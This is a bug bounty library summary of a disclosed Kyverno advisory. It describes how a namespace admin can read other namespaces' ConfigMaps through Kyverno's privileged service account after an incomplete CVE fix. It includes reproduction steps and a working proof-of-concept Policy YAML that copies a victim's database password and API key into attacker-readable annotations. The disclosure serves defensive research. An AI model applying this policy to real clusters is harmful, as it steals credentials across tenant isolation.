# Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)

Kyverno's ConfigMap context loader skips namespace validation, letting a namespace admin read ConfigMaps from any namespace via Kyverno's cluster-privileged service account.

- Payout: Research
- Severity: high
- Program: Kyverno
- Found by: jrey8343
- Disclosed: 2026-04-16
- CVE: CVE-2026-41068
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cvq5-hhx3-f99p
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cvq5-hhx3-f99p
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:kubernetes technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Kubernetes admission controller policy engine (ConfigMap context loader)
**Root cause:** `NewConfigMapLoader()` in `pkg/engine/context/loaders/configmap.go` never validates the resolved `configMap.namespace` against the policy's own namespace, unlike the CVE-2026-22039 fix applied to `apiCall.URLPath`. Kyverno's admission controller SA has cluster-wide view, so it fetches any referenced ConfigMap.
**Steps:**
1. Deploy kind cluster + Kyverno v1.17.0 (helm chart 3.7.0).
2. Create `attacker-ns` and `victim-ns`; plant `sensitive-config` ConfigMap with `db-password`/`api-key` in victim-ns.
3. Grant a SA in attacker-ns `admin` plus create/get/list on `policies.kyverno.io`; confirm direct read of victim ConfigMap is Forbidden.
4. Apply Policy `configmap-crossns-read` in attacker-ns matching ConfigMap `trigger-cm`, with `context.configMap.namespace: "victim-ns"` and mutate annotations `exfil-db-password: "{{ stolendata.data.\"db-password\" }}"`.
5. Create `trigger-cm` in attacker-ns to fire the policy.
6. Read `trigger-cm` annotations as the SA to obtain the victim's secrets.
**How found:** Noticed the CVE-2026-22039 fix only patched `apiCall.URLPath` namespace validation, then audited sibling context loaders and found `configMap.namespace` follows the same unvalidated pattern.
**Exploitation:** Namespace admin creates a Kyverno Policy referencing a victim-namespace ConfigMap in its context; Kyverno's privileged SA fetches it and the mutate rule writes the values into annotations on an attacker-controlled trigger ConfigMap, which the attacker then reads.
**Insight:** When a fix lands for one field in a policy/context engine, enumerate every sibling loader (configMap, globalReference, imageRegistry, variable) that resolves a user-controlled namespace or URL — incomplete fixes cluster around the same trust boundary.

## Proof of concept (copied exactly from the original report)

**Exploit policy reading victim-ns ConfigMap**

```
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: configmap-crossns-read
  namespace: attacker-ns
spec:
  rules:
  - name: steal-configmap
    match:
      any:
      - resources:
          kinds: [ConfigMap]
          names: ["trigger-cm"]
    context:
    - name: stolendata
      configMap:
        name: "sensitive-config"
        namespace: "victim-ns"    # <-- NO VALIDATION
    mutate:
      patchStrategicMerge:
        metadata:
          annotations:
            exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
            exfil-api-key: "{{ stolendata.data.\"api-key\" }}"
```

